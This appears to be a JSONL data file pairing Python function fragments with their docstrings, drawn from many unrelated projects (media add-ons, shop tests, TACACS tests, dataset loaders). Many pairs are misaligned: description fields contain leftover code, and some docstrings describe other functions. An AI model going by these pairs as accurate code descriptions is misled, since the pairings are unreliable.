class=\"columwrapper\">{%- for column in items|slice(3) %}<ul class=\"column-{{ loop.index }}\">{%- for item in column %}<li>{{ item }}</li>{%- endfor %}</ul>{%- endfor %}</div>If you pass it a second argument it's used to fill missingvalues on the last iteration."} {"code": "def tampered(self):\n of an event (bool).\n \"\"\"", "nl": "Return whether the element has been clicked on in this episode (bool).return self._tampered@propertydef targeted(self):In a recorded demonstration, return whether the element is the target"} {"code": "def test_now_cmd_s2_m4():\n No$ i% khefMiIe sor@all$glo<BmenYts cAAeltaTtheSaid[HYnthe Aalty.\n \"\"\".strip()", "nl": "testtxt = open(now).read().rstrip()rv, out = getstatusoutput(f'{prg} -s 2 -m .4 \"{txt}\"')assert rv == 0expected = "} {"code": "def topicUpdated(self, user, channel, newTopic):\n pass\n", "nl": "In channel, user changed the topic to newTopic.Also called when first joining a channel."} {"code": "def __init__(self, length=None):\n _Binary.__init__(self, length=length)\n\n\n@util.deprecated_cls(\n \"0.6\",\n \"The :class:`.Binary` class is deprecated and will be removed \"\n \"in a future relase. Please use :class:`.LargeBinary`.\",\n)\nclass Binary(LargeBinary):", "nl": "Construct a LargeBinary type.:param length: optional, a length for the column for use inDDL statements, for those binary types that accept a length,such as the MySQL BLOB type."} {"code": "def render(self, theme=None):\n\n return self._status_table\n\n\nclass FlatStatusRenderer(BaseStatusRenderer):\n \"\"\"Flat, simple table layout\"\"\"", "nl": "Do the actual printingprint(self._status_table)def render_to_str(self, theme=None, width=200):Capture output to string"} {"code": "def setnil(self, node, content):\n self.marshaller.setnil(node, content)\n", "nl": "Set the value of the I{node} to nill.@param node: A I{nil} node.@type node: L{Element}@param content: The content for which proccessing has ended.@type content: L{Object}"} {"code": "def _do_nothing_setup(self):\n return set()\n", "nl": "Task is already set up: do nothing"} {"code": "def train(args):\n print(args)\n\n configs = LuxMatchConfigs_Default\n", "nl": "The main training loop:param args: (ArgumentParser) The command line arguments"} {"code": "def getcastmedia(self):\n db_id = None\n all_cast = []\n all_cast_names = list()\n cache_str = \"\"\n download_thumbs = self.params.get(\"downloadthumbs\", \"\") == \"true\"\n extended_cast_action = self.params.get(\"castaction\", \"\") == \"extendedinfo\"\n movie = self.params.get(\"movie\")\n tvshow = self.params.get(\"tvshow\")\n episode = self.params.get(\"episode\")\n movieset = self.params.get(\"movieset\")\n\n try:\n if movieset:\n cache_str = \"movieset.castcache-%s-%s\" % (self.params[\"movieset\"], download_thumbs)\n db_id = int(movieset)\n elif tvshow:\n cache_str = \"tvshow.castcache-%s-%s\" % (self.params[\"tvshow\"], download_thumbs)\n db_id = int(tvshow)\n elif movie:\n cache_str = \"movie.castcache-%s-%s\" % (self.params[\"movie\"], download_thumbs)\n db_id = int(movie)\n elif episode:\n cache_str = \"episode.castcache-%s-%s\" % (self.params[\"episode\"], download_thumbs)\n db_id = int(episode)\n except Exception:\n pass\n\n cachedata = self.cache.get(cache_str)\n if cachedata:\n all_cast = cachedata\n else:\n if movie and db_id:\n all_cast = self.mutils.kodidb.movie(db_id)[\"cast\"]\n elif movie and not db_id:\n filters = [{\"operator\": \"is\", \"field\": \"title\", \"value\": movie}]\n result = self.mutils.kodidb.movies(filters=filters)\n all_cast = result[0][\"cast\"] if result else []\n elif tvshow and db_id:\n all_cast = self.mutils.kodidb.tvshow(db_id)[\"cast\"]\n elif tvshow and not db_id:\n filters = [{\"operator\": \"is\", \"field\": \"title\", \"value\": tvshow}]\n result = self.mutils.kodidb.tvshows(filters=filters)\n all_cast = result[0][\"cast\"] if result else []\n elif episode and db_id:\n all_cast = self.mutils.kodidb.episode(db_id)[\"cast\"]\n elif episode and not db_id:\n filters = [{\"operator\": \"is\", \"field\": \"title\", \"value\": episode}]\n result = self.mutils.kodidb.episodes(filters=filters)\n all_cast = result[0][\"cast\"] if result else []\n elif movieset:\n if not db_id:\n for item in self.mutils.kodidb.moviesets():\n if item[\"title\"].lower() == movieset.lower():\n db_id = item[\"setid\"]\n if db_id:\n json_result = self.mutils.kodidb.movieset(db_id, include_set_movies_fields=[\"cast\"])\n if \"movies\" in json_result:\n for movie in json_result['movies']:\n all_cast += movie['cast']\n\n if all_cast and download_thumbs:\n for cast in all_cast:\n if cast.get(\"thumbnail\"):\n cast[\"thumbnail\"] = self.mutils.get_clean_image(cast.get(\"thumbnail\"))\n if not cast.get(\"thumbnail\"):\n artwork = self.mutils.tmdb.get_actor(cast[\"name\"])\n cast[\"thumbnail\"] = artwork.get(\"thumb\", \"\")\n if not all_cast:\n tmdbdetails = {}\n if movie and not db_id:\n tmdbdetails = self.mutils.tmdb.search_movie(movie)\n elif tvshow and not db_id:\n tmdbdetails = self.mutils.tmdb.search_tvshow(tvshow)\n if tmdbdetails.get(\"cast\"):\n all_cast = tmdbdetails[\"cast\"]\n self.cache.set(cache_str, all_cast)\n\n for cast in all_cast:\n if cast.get(\"name\") not in all_cast_names:\n liz = xbmcgui.ListItem(label=cast.get(\"name\"), label2=cast.get(\"role\"))\n liz.setArt({\"thumb\":cast.get(\"thumbnail\")})\n if extended_cast_action:\n url = \"RunScript(script.extendedinfo,info=extendedactorinfo,name=%s)\" % cast.get(\"name\")\n url = \"plugin://script.skin.helper.service/?action=launch&path=%s\" % url\n is_folder = False\n else:\n url = \"RunScript(script.skin.helper.service,action=getcastmedia,name=%s)\" % cast.get(\"name\")\n url = \"plugin://script.skin.helper.service/?action=launch&path=%s\" % urlencode(url)\n is_folder = False\n all_cast_names.append(cast.get(\"name\"))\n liz.setArt({\"thumb\":cast.get(\"thumbnail\")})\n xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]), url=url, listitem=liz, isFolder=is_folder)\n xbmcplugin.endOfDirectory(int(sys.argv[1]))\n\n @staticmethod", "nl": "helper to display get all media for a specific actorname = self.params.get(\"name\")if name:all_items = self.mutils.kodidb.castmedia(name)all_items = self.mutils.process_method_on_list(self.mutils.kodidb.prepare_listitem, all_items)all_items = self.mutils.process_method_on_list(self.mutils.kodidb.create_listitem, all_items)xbmcplugin.addDirectoryItems(int(sys.argv[1]), all_items, len(all_items))xbmcplugin.endOfDirectory(handle=int(sys.argv[1]))def getcast(self):helper to get all cast for a given media item"} {"code": "def encapsulate(self, source, destination, payload):\n return _ip(\n src=self.tunnelRemote, dst=self.tunnelLocal,\n payload=_udp(\n src=source, dst=destination, payload=payload))\n\n", "nl": "Construct an ip datagram containing a udp datagram containing the givenapplication-level payload.@param source: The source port for the UDP datagram being encapsulated.@type source: L{int}@param destination: The destination port for the UDP datagram beingencapsulated.@type destination: L{int}@param payload: The application data to include in the udp datagram.@type payload: L{bytes}@return: An ethernet frame.@rtype: L{bytes}"} {"code": "def get_featured_examples(config, examples, meta, data_type, emb_dicts, related_words_ids_mat, related_words_dict=None):\n print(\"Processing {} examples...\".format(data_type))\n total = 0\n total_ = 0\n examples_with_features = []\n for example in tqdm(examples):\n total_ += 1\n if filter_example(config, example, \"train\"):\n continue\n total += 1\n\n example = build_linguistic_features(config, example, emb_dicts)\n example = build_copy_labels(config, example, emb_dicts, related_words_ids_mat)\n example = build_fqg_features(config, example, emb_dicts, related_words_dict)\n examples_with_features.append(example)\n\n print(\"Built {} / {} instances of features in total\".format(total, total_))\n meta[\"num_q_filtered\"] = total\n return examples_with_features, meta\n\n", "nl": "Given spaCy processed examples, we further get featured examplesusing different functions to get different features."} {"code": "def isRationalEqual(self, S, T):\n s=self.handle(S)\n t = self.handle(T)\n return abs(float(s)-float(t))<0.00000001", "nl": ":type S: str:type T: str:rtype: bool"} {"code": "def get_dict(self):\n return dict(label=self.__label, color=self.__color)", "nl": "Converts the currently loaded data into a dict:returns: A dict representation of the local legendItem object"} {"code": "def is_one_backup_running(self, agent=None):\n return trio.run(self._async_is_one_backup_running)\n\n @usetriorun", "nl": "See:func:`burpui.misc.backend.interface.BUIbackend.is_one_backup_running`"} {"code": "def file_generator_limited(fileobj, count, chunk_size=65536):\n remaining = count\n while remaining > 0:\n chunk = fileobj.read(min(chunk_size, remaining))\n chunklen = len(chunk)\n if chunklen == 0:\n return\n remaining -= chunklen\n yield chunk\n\n", "nl": "Yield the given file object in chunks, stopping after `count`bytes has been emitted. Default chunk size is 64kB. (Core)"} {"code": "def filter_text(text, filters):\n clean_text = text.rstrip()\n ending = text[len(clean_text):]\n text = clean_text\n for fn in filters:\n lines = []\n for line in text.splitlines():\n lines.extend(fn(line).splitlines())\n text = \"\\n\".join(lines)\n return text + ending\n\n\nclass CwdTracker:\n \"\"\"A class to add cwd info to debug messages.\"\"\"", "nl": "Run `text` through a series of filters.`filters` is a list of functions. Each takes a string and returns astring. Each is run in turn.Returns: the final string that results after all of the filters haverun."} {"code": "def test_04_shopping(self):\n shop = plata.shop_instance()\n request = get_request()\n\n order = shop.order_from_request(request)\n self.assertEqual(order, None)\n\n order = shop.order_from_request(request, create=True)\n self.assertEqual(Order.objects.count(), 1)\n self.assertEqual(order.user, None)\n", "nl": "Test shopping, checkout and order PDF generation in one goself.assertEqual(Order.objects.count(), 0)p1 = self.create_product()p2 = self.create_product()p2.name = \"Test Product 2\"p2.save()p1.stock_transactions.create(type=StockTransaction.PURCHASE, change=100)p2.stock_transactions.create(type=StockTransaction.PURCHASE, change=100)self.assertEqual(Product.objects.filter(items_in_stock=0).count(), 0)client = self.login()self.assertContains(client.get(p1.get_absolute_url()), p1.name)client.post(p1.get_absolute_url(), {\"quantity\": 5})client.post(p2.get_absolute_url(), {\"quantity\": 3})self.assertEqual(Order.objects.count(), 1)self.assertContains(client.get(\"/cart/\"), 'value=\"5\"')order = Order.objects.all()[0]i1 = order.modify_item(p1, 0)i2 = order.modify_item(p2, 0)self.assertRedirects(client.post(\"/cart/\",{\"items-INITIAL_FORMS\": 2,\"items-TOTAL_FORMS\": 2,\"items-MAX_NUM_FORMS\": 2,\"items-0-id\": i1.id,\"items-0-quantity\": 6, # one additional item\"items-1-id\": i2.id,\"items-1-quantity\": i2.quantity,},),\"/cart/\",)self.assertEqual(order.modify_item(p1, 0).quantity, 6)self.assertEqual(order.items.count(), 2)self.assertRedirects(client.post(\"/cart/\",{\"checkout\": True,\"items-INITIAL_FORMS\": 2,\"items-TOTAL_FORMS\": 2,\"items-MAX_NUM_FORMS\": 2,\"items-0-id\": i1.id,\"items-0-quantity\": 6, # one additional item\"items-1-id\": i2.id,\"items-1-quantity\": 0,},),\"/checkout/\",)self.assertEqual(order.modify_item(p1, 0).quantity, 6)self.assertEqual(order.items.count(), 1)client.post(p2.get_absolute_url(), {\"quantity\": 5})self.assertEqual(order.items.count(), 2)# TODO test what happens when a product has been deleted from the# shop in the meantime (and orderitem.product = None)# Refresh i1 and i2i1 = order.modify_item(p1, 0)i2 = order.modify_item(p2, 0)self.assertEqual(Order.objects.get().status, Order.CART)response = client.post(\"/cart/\",{\"checkout\": True,\"items-INITIAL_FORMS\": 2,\"items-TOTAL_FORMS\": 2,\"items-MAX_NUM_FORMS\": 2,\"items-0-id\": i1.id,\"items-0-quantity\": 6,\"items-0-DELETE\": True,\"items-1-id\": i2.id,\"items-1-quantity\": 5,},)self.assertRedirects(response, \"/checkout/\")self.assertEqual(order.items.count(), 1)client.get(\"/checkout/\")self.assertEqual(Order.objects.get().status, Order.CHECKOUT)self.assertEqual(client.post(\"/checkout/\",{\"_checkout\": 1,\"order-billing_company\": \"BigCorp\",\"order-billing_first_name\": \"Hans\",\"order-billing_last_name\": \"Muster\",\"order-billing_address\": \"Musterstrasse 42\",\"order-billing_zip_code\": \"8042\",\"order-billing_city\": \"Beispielstadt\",\"order-billing_country\": \"CH\",# 'order-shipping_same_as_billing': True, # information is missing\"order-email\": \"something@example.com\",\"order-currency\": \"CHF\",},).status_code,200,) # ... therefore view does not redirectself.assertRedirects(client.post(\"/checkout/\",{\"_checkout\": 1,\"order-billing_company\": \"BigCorp\",\"order-billing_first_name\": \"Hans\",\"order-billing_last_name\": \"Muster\",\"order-billing_address\": \"Musterstrasse 42\",\"order-billing_zip_code\": \"8042\",\"order-billing_city\": \"Beispielstadt\",\"order-billing_country\": \"CH\",\"order-shipping_same_as_billing\": True,\"order-email\": \"something@example.com\",\"order-currency\": \"CHF\",\"order-notes\": \"Test\\n\\nJust testing.\",},),\"/confirmation/\",)Discount.objects.create(is_active=True,type=Discount.PERCENTAGE_VOUCHER,code=\"asdf\",name=\"Percentage discount\",value=30,)self.assertContains(client.post(\"/discounts/\", {\"code\": \"something-invalid\"}), \"not validate\")self.assertRedirects(client.post(\"/discounts/\", {\"code\": \"asdf\"}), \"/discounts/\")self.assertRedirects(client.post(\"/discounts/\", {\"proceed\": \"True\"}), \"/confirmation/\")self.assertEqual(client.post(\"/confirmation/\", {}).status_code, 200)self.assertEqual(Order.objects.get(pk=order.id).status, Order.CHECKOUT)self.assertContains(client.post(\"/confirmation/\",{\"terms_and_conditions\": True, \"payment_method\": \"postfinance\"},),\"SHASign\",)self.assertContains(client.post(\"/confirmation/\",{\"terms_and_conditions\": True, \"payment_method\": \"paypal\"},),\"cgi-bin/webscr\",)self.assertRedirects(client.post(p2.get_absolute_url(), {\"quantity\": 42}),\"/cart/\",target_status_code=302,)self.assertRedirects(client.post(\"/cart/\",{\"items-INITIAL_FORMS\": 1,\"items-TOTAL_FORMS\": 1,\"items-MAX_NUM_FORMS\": 1,\"items-0-id\": i2.id,\"items-0-quantity\": 43,\"items-0-DELETE\": False,},),\"/confirmation/?confirmed=1\",)self.assertTrue(Order.objects.all()[0].items.get(product=p2).quantity != 42)# Test this view works at allclient.get(\"/order/payment_failure/\")self.assertRedirects(client.post(\"/confirmation/\",{\"terms_and_conditions\": True, \"payment_method\": \"cod\"},),\"/order/success/\",)self.assertEqual(len(mail.outbox), 3) # account creation, invoice and packing slipself.assertEqual(Order.objects.get(pk=order.id).status, Order.PAID)# Clear orderself.assertRedirects(client.get(\"/order/new/?next=%s\" % p1.get_absolute_url()),p1.get_absolute_url(),)# Can call URL several times without change in behaviorself.assertRedirects(client.get(\"/order/new/\"), \"/\", target_status_code=302)# Cart is emptyself.assertRedirects(client.post(\"/confirmation/\",{\"terms_and_conditions\": True, \"payment_method\": \"cod\"},),\"/cart/\",)self.assertRedirects(client.post(\"/confirmation/\",{\"terms_and_conditions\": True, \"payment_method\": \"paypal\"},),\"/cart/\",)User.objects.create_superuser(\"admin\", \"admin@example.com\", \"password\")client.login(username=\"admin\", password=\"password\")self.assertEqual(client.get(\"/reporting/invoice_pdf/%s/\" % order.id)[\"Content-Type\"],\"application/pdf\",)self.assertEqual(client.get(\"/reporting/packing_slip_pdf/%s/\" % order.id)[\"Content-Type\"],\"application/pdf\",)self.assertEqual(client.get(\"/reporting/product_xls/\")[\"Content-Type\"],\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\",)def test_05_creation(self):Test creation of orders through the shop object"} {"code": "def shift_fs(a: torch.Tensor, shift: torch.Tensor):\n\n if a.dim() != 5:\n raise ValueError('a must be the Fourier coefficients, a 5-dimensional tensor.')\n\n if shift[0] == 0 and shift[1] == 0:\n return a\n\n ky, kx = get_frequency_coord((a.shape[2], 2*a.shape[3]-1), device=a.device)\n\n return complex.mult(complex.mult(a, complex.exp_imag(shift[0].item() * ky)), complex.exp_imag(shift[1].item() * kx))\n\n", "nl": "Shift a sample a in the Fourier domain.Params:a : The fourier coefficiens of the sample.shift : The shift to be performed normalized to the range [-pi, pi]."} {"code": "def _get_cache_value(self, key, empty, type):\n if type is bool:\n if value:\n self[key] = None\n else:\n self.pop(key, None)\n else:\n if value is None:\n self.pop(key, None)\n elif value is True:\n self[key] = None\n else:\n self[key] = value\n", "nl": "Used internally by the accessor properties.if type is bool:return key in selfif key in self:value = self[key]if value is None:return emptyelif type is not None:try:value = type(value)except ValueError:passreturn valuedef _set_cache_value(self, key, value, type):Used internally by the accessor properties."} {"code": "def _get_errors(self):\n if self._errors is None:\n self.full_clean()\n return self._errors\n errors = property(_get_errors)\n", "nl": "Returns a list of form.errors for every form in self.forms."} {"code": "def view(tpl_name, **defaults):", "nl": " Decorator: renders a template for a handler.The handler can control its behavior like that:- return a dict of template vars to fill out the template- return something other than a dict and the view decorator will notprocess the template, but return the handler result as is.This includes returning a HTTPResponse(dict) to get,for instance, JSON with autojson or other castfilters."} {"code": "def prepare_kernels(kernel_list, regularization_bounds, eval_gradients, N_D):", "nl": "Format kernel_listionary and stores bounds for optimization.Parameters----------kernel_list : dictList containing all dictionaries for the kernels.regularization_bounds : tupleOptional to change the bounds for the regularization.eval_gradients : booleanFlag to change kernel setup based on gradients being defined.N_D : intNumber of dimensions of the original data."} {"code": "def _BuildTmpOutputLine(blr):\n atime = NA_TIME\n crc32c = _NA\n gid = NA_ID\n md5 = _NA\n mode = NA_MODE\n mtime = NA_TIME\n time_created = NA_TIME\n uid = NA_ID\n url = blr.storage_url\n if url.IsFileUrl():\n mode, _, _, _, uid, gid, size, atime, mtime, _ = os.stat(url.object_name)\n atime = long(atime)\n mtime = long(mtime)\n mode = ConvertModeToBase8(mode)\n if atime < 0:\n atime = NA_TIME\n if mtime < 0:\n mtime = NA_TIME\n elif url.IsCloudUrl():\n size = blr.root_object.size\n if blr.root_object.metadata is not None:\n found_m, mtime_str = GetValueFromObjectCustomMetadata(\n blr.root_object, MTIME_ATTR, NA_TIME)\n try:\n mtime = long(mtime_str)\n if found_m and mtime <= NA_TIME:\n WarnNegativeAttribute('mtime', url.url_string)\n if mtime > long(time.time()) + SECONDS_PER_DAY:\n WarnFutureTimestamp('mtime', url.url_string)\n except ValueError:\n WarnInvalidValue('mtime', url.url_string)\n mtime = NA_TIME\n posix_attrs = DeserializeFileAttributesFromObjectMetadata(\n blr.root_object, url.url_string)\n mode = posix_attrs.mode.permissions\n atime = posix_attrs.atime\n uid = posix_attrs.uid\n gid = posix_attrs.gid\n time_created = ConvertDatetimeToPOSIX(blr.root_object.timeCreated)\n crc32c = blr.root_object.crc32c or _NA\n md5 = blr.root_object.md5Hash or _NA\n else:\n raise CommandException('Got unexpected URL type (%s)' % url.scheme)\n attrs = [\n _EncodeUrl(url.url_string),\n size,\n time_created,\n atime,\n mtime,\n mode,\n uid,\n gid,\n crc32c,\n md5,\n ]\n attrs = [six.ensure_text(str(i)) for i in attrs]\n return ' '.join(attrs) + '\\n'\n\n", "nl": "Builds line to output to temp file for given BucketListingRef.Args:blr: The BucketListingRef.Returns:The output line, formatted as_EncodeUrl(URL)<sp>size<sp>time_created<sp>atime<sp>mtime<sp>mode<sp>uid<sp>gid<sp>crc32c<sp>md5 where md5 will only be present for cloud URLs thataren't composite objects. A missing field is populated with '-', or -1 inthe case of atime/mtime/time_created."} {"code": "def create_lmdb_for_vimeo90k():\n folder_path = 'datasets/vimeo90k/vimeo_septuplet/sequences'\n lmdb_path = 'datasets/vimeo90k/vimeo90k_train_GT_only4th.lmdb'\n train_list_path = 'datasets/vimeo90k/vimeo_septuplet/sep_trainlist.txt'\n img_path_list, keys = prepare_keys_vimeo90k(folder_path, train_list_path, 'gt')\n make_lmdb_from_imgs(folder_path, lmdb_path, img_path_list, keys, multiprocessing_read=True)\n\n folder_path = 'datasets/vimeo90k/vimeo_septuplet_matlabLRx4/sequences'\n lmdb_path = 'datasets/vimeo90k/vimeo90k_train_LR7frames.lmdb'\n train_list_path = 'datasets/vimeo90k/vimeo_septuplet/sep_trainlist.txt'\n img_path_list, keys = prepare_keys_vimeo90k(folder_path, train_list_path, 'lq')\n make_lmdb_from_imgs(folder_path, lmdb_path, img_path_list, keys, multiprocessing_read=True)\n\n", "nl": "Create lmdb files for Vimeo90K dataset.Usage:Remember to modify opt configurations according to your settings."} {"code": "def getframeinfo(frame, context=1):\n if istraceback(frame):\n lineno = frame.tb_lineno\n frame = frame.tb_frame\n else:\n lineno = frame.f_lineno\n if not isframe(frame):\n raise TypeError('{!r} is not a frame or traceback object'.format(frame))\n filename = getsourcefile(frame) or getfile(frame)\n if context > 0:\n start = lineno - 1 - context // 2\n try:\n lines, lnum = findsource(frame)\n except IOError:\n lines = index = None\n else:\n start = max(start, 1)\n start = max(0, min(start, len(lines) - context))\n lines = lines[start:start + context]\n index = lineno - 1 - start\n\n else:\n lines = index = None\n return Traceback(filename, lineno, frame.f_code.co_name, lines, index)\n\n", "nl": "Get information about a frame or traceback object.A tuple of five things is returned: the filename, the line number ofthe current line, the function name, a list of lines of context fromthe source code, and the index of the current line within that list.The optional second argument specifies the number of lines of contextto return, which are centered around the current line."} {"code": "def exception(cls, exc_value):\n return cls(exception_string(exc_value), -1)\n\n @classmethod", "nl": "Means that exc_value was raised by a node when executing, and not any inner node."} {"code": "def _check_output_format(output_format: str) -> ParsedTargetFormat:\n result = ParsedTargetFormat()\n target_tokens = split(output_format, JUMP)\n remain_tokens = deepcopy(target_tokens)\n result, remain_tokens = _figure_output_format_timezone(result, target_tokens, remain_tokens)\n result, remain_tokens = _figure_output_format_ymd(result, target_tokens, remain_tokens)\n result, remain_tokens = _figure_output_format_ampm(result, target_tokens, remain_tokens)\n result, remain_tokens = _figure_output_format_hms(result, remain_tokens)\n if len(remain_tokens) > 0:\n result.set_valid(False)\n for token in remain_tokens:\n result.add_invalid_token(token)\n return result\n\n", "nl": "This function check validation of output_format.Parameters----------output_formatoutput_format string"} {"code": "def test_authenticate_pap(fake_socket, packets):\n client = TACACSClient('127.0.0.1', 49, None, session_id=12345)\n client._sock = fake_socket\n reply = client.authenticate('username', 'pass',\n authen_type=TAC_PLUS_AUTHEN_TYPE_PAP)\n assert reply.valid\n\n fake_socket.buff.seek(0)\n first_header = TACACSHeader.unpacked(fake_socket.buff.read(12))\n assert (first_header.version_max, first_header.version_min) == (12, 1)\n first_body = fake_socket.buff.read(first_header.length)\n assert TACACSAuthenticationStart(\n 'username',\n TAC_PLUS_AUTHEN_TYPE_PAP,\n data=six.b('pass')\n ).packed == first_body\n\n\n@pytest.mark.parametrize(\n 'packets',\n [AUTHENTICATE_HEADER_V12_1 + six.b('\\x06\\x01\\x00\\x00\\x00\\x00\\x00')]\n)", "nl": "client -> AUTHSTART (user+pass)STATUS_PASS <- server"} {"code": "def test_get_location_description(self):\n description = self.strategy.get_register_service_description()\n\n assert type(description) == Description\n assert description.data_model is AGENT_SET_SERVICE_MODEL\n assert description.values.get(\"key\", \"\") == self.service_data[\"key\"]\n assert description.values.get(\"value\", \"\") == self.service_data[\"value\"]\n", "nl": "Test the get_location_description method of the Strategy class.description = self.strategy.get_location_description()assert type(description) == Descriptionassert description.data_model is AGENT_LOCATION_MODELassert description.values.get(\"location\", \"\") == Location(latitude=self.location[\"latitude\"], longitude=self.location[\"longitude\"])def test_get_register_service_description(self):Test the get_register_service_description method of the Strategy class."} {"code": "def test_traceback(self):\n class Dummy(object):\n pass\n\n dummy = Dummy()\n for threadid in sys._current_frames():\n resp = self.get('/traceback/%d' % threadid, status=200)\n if threadid == get_current_thread_id():\n locals_id = id(locals())\n self.assertTrue('id=\"%d' % locals_id in resp, resp)\n resp = self.get('/objects/%d' % locals_id, status=200)\n self.assertTrue('dummy' in resp, resp)\n self.assertTrue('id=\"%d' % id(dummy) in resp, resp)\n self.get('/objects/%d' % id(dummy), status=200)\n\n self.get('/traceback/gabelstapler', status=500)\n body = self.get('/traceback/12345', status=200)\n self.assertTrue(\"Cannot retrieve stacktrace for thread 12345\" in body, body)\n", "nl": "Test if stack traces can be viewed.First test valid tracebacks, then the invalid ones.Also check if we can expand the locals of the current stackframe andaccess size information of local data (dummy)."} {"code": "def rebulk_builder():\n rebulk = Rebulk()\n\n rebulk.rebulk(path())\n rebulk.rebulk(groups())\n\n rebulk.rebulk(episodes())\n rebulk.rebulk(container())\n rebulk.rebulk(format_())\n rebulk.rebulk(video_codec())\n rebulk.rebulk(audio_codec())\n rebulk.rebulk(screen_size())\n rebulk.rebulk(website())\n rebulk.rebulk(date())\n rebulk.rebulk(title())\n rebulk.rebulk(episode_title())\n rebulk.rebulk(language())\n rebulk.rebulk(country())\n rebulk.rebulk(release_group())\n rebulk.rebulk(streaming_service())\n rebulk.rebulk(other())\n rebulk.rebulk(size())\n rebulk.rebulk(edition())\n rebulk.rebulk(cds())\n rebulk.rebulk(bonus())\n rebulk.rebulk(film())\n rebulk.rebulk(part())\n rebulk.rebulk(crc())\n\n rebulk.rebulk(processors())\n\n rebulk.rebulk(mimetype())\n rebulk.rebulk(type_())\n", "nl": "Default builder for main Rebulk object used by api.:return: Main Rebulk object:rtype: Rebulk"} {"code": "def __init__(self,replyTo,toonID):\n assert self.notify.debugCall()\n self.__deleted=False\n AsyncRequest.__init__(self,uber.air)\n self.air = uber.air\n self.replyTo = replyTo\n self.toonID = toonID\n self.air.writeServerEvent(\"UberRPC-GetToonPicId\",self.replyTo.getSourceAddress(),\"%s\" % self.toonID)\n self.askForObjectField(\"DistributedToonUD\",\"setDNAString\",self.toonID)\n", "nl": "replyTo is where we stick the responsetoonID is the doID of the toon whose picture we want"} {"code": "def load_voc_instances(dirname: str, split: str, class_names: Union[List[str], Tuple[str, ...]]):\n with PathManager.open(os.path.join(dirname, \"ImageSets\", \"Main\", split + \".txt\")) as f:\n fileids = np.loadtxt(f, dtype=np.str)\n\n annotation_dirname = PathManager.get_local_path(os.path.join(dirname, \"Annotations/\"))\n dicts = []\n for fileid in fileids:\n anno_file = os.path.join(annotation_dirname, fileid + \".xml\")\n jpeg_file = os.path.join(dirname, \"JPEGImages\", fileid + \".jpg\")\n\n with PathManager.open(anno_file) as f:\n tree = ET.parse(f)\n\n r = {\n \"file_name\": jpeg_file,\n \"image_id\": fileid,\n \"height\": int(tree.findall(\"./size/height\")[0].text),\n \"width\": int(tree.findall(\"./size/width\")[0].text),\n }\n instances = []\n\n for obj in tree.findall(\"object\"):\n cls = obj.find(\"name\").text\n bbox = obj.find(\"bndbox\")\n bbox = [float(bbox.find(x).text) for x in [\"xmin\", \"ymin\", \"xmax\", \"ymax\"]]\n bbox[0] -= 1.0\n bbox[1] -= 1.0\n instances.append(\n {\"category_id\": class_names.index(cls), \"bbox\": bbox, \"bbox_mode\": BoxMode.XYXY_ABS}\n )\n r[\"annotations\"] = instances\n dicts.append(r)\n return dicts\n\n", "nl": "Load Pascal VOC detection annotations to Detectron2 format.Args:dirname: Contain \"Annotations\", \"ImageSets\", \"JPEGImages\"split (str): one of \"train\", \"test\", \"val\", \"trainval\"class_names: list or tuple of class names"} {"code": "def announce(self, html: str, url: str, channel: str):\n config.announce(html, url, channel, publish_group_url=self.group_index_url)\n", "nl": "Announce the publication of a piece of html to slack.All pages are announced to the same thread."} {"code": "def send(self, data):\n\n Assumes that the line does *not* end with \\\\r\\\\n.\n \"\"\"", "nl": "Send `data' to the server.if self.sock is None:if self.auto_open:self.connect()else:raise NotConnected()if self.debuglevel > 0:print \"send:\", repr(data)blocksize = 8192if hasattr(data,'read') and not isinstance(data, array):if self.debuglevel > 0: print \"sendIng a read()able\"datablock = data.read(blocksize)while datablock:self.sock.sendall(datablock)datablock = data.read(blocksize)else:self.sock.sendall(data)def _output(self, s):Add a line of output to the current request buffer."} {"code": "def send(self, request: gapic_types.AppendRowsRequest) -> \"AppendRowsFuture\":\n if self._closed:\n raise bqstorage_exceptions.StreamClosedError(\n \"This manager has been closed and can not be used.\"\n )\n\n with self._opening:\n if not self.is_active:\n return self._open(request)\n\n future = AppendRowsFuture(self)\n self._futures_queue.put(future)\n self._rpc.send(request)\n return future\n", "nl": "Send an append rows request to the open stream.Args:request:The request to add to the stream.Returns:A future, which can be used to process the response when itarrives."} {"code": "def _findShortcut(data, name = None, shortcut = None, uuid = None):\n data_pattern = re.compile('Data_\\d+(_\\d+)*$')\n for section, kvdata in data.items():\n if re.match(data_pattern, section):\n ident = section.split(\"_\", 1)[1]\n shortcut_data = getShortcutData(data, ident)\n if shortcut_data is None:\n continue\n\n name_match = name is None or shortcut_data[\"Name\"] == name\n short_match = shortcut is None\n if not short_match:\n for trigger in shortcut_data[\"triggers\"]:\n if trigger[\"Key\"] == shortcut:\n short_match = True\n break\n uuid_match = shortcut is None\n if not uuid_match:\n for trigger in shortcut_data[\"triggers\"]:\n if trigger[\"Uuid\"] == uuid:\n uuid_match = True\n break\n\n if all((name_match, short_match, uuid_match)):\n return True\n return False\n", "nl": "Search the provided khotkeys dict for a matching shortcut.This function searches through the khotkeys configuration for anyshortcut which matches all of the provided paramters. Any parametermay be ignored by providing 'None' as its value.Parameters----------name : strName displayed in the khotkeys configuration. Set to None if thisparameter should not be matched.shortcut : strKeyboard sequence used to trigger the shortcut. E.g. \"Ctrl+3\".Set to None if this parameter should not be matched.uuid : strUUID of the shortcut in the khotkeys configuration. Set to None ifthis parameter should not be matched.Returns-------boolTrue if a shortcut matching all requested properties was found,False otherwise."} {"code": "def open_session(self, request):\n\n warnings.warn(DeprecationWarning(\n '\"open_session\" is deprecated and will be removed in 1.1. Use'\n ' \"session_interface.open_session\" instead.'\n ))\n return self.session_interface.open_session(self, request)\n", "nl": "Creates or opens a new session. Default implementation stores allsession data in a signed cookie. This requires that the:attr:`secret_key` is set. Instead of overriding this methodwe recommend replacing the :class:`session_interface`... deprecated: 1.0Will be removed in 1.1. Use ``session_interface.open_session``instead.:param request: an instance of :attr:`request_class`."} {"code": "def assert_can_admin_coll(self, collection):\n return True\n", "nl": "Assert that collection can be administrated.:param Collection collection: collection:returns: whether collection can be administrated:rtype: bool"} {"code": "def tearDown(self):\n if self.fake_fred_call:\n if http_response:\n urlopen.return_value.read.return_value = http_response\n elif side_effect:\n urlopen.return_value.read.side_effect = side_effect\n else:\n urlopen.side_effect = self.__original_urlopen\n\n @mock.patch('fredapi.fred.urlopen')", "nl": "Cleanup.passdef prepare_urlopen(self, urlopen, http_response=None, side_effect=None):Set urlopen to return http_response or the regular call."} {"code": "def dm(self, **kwargs):\n raise NotImplementedError\n\n @abc.abstractmethod", "nl": 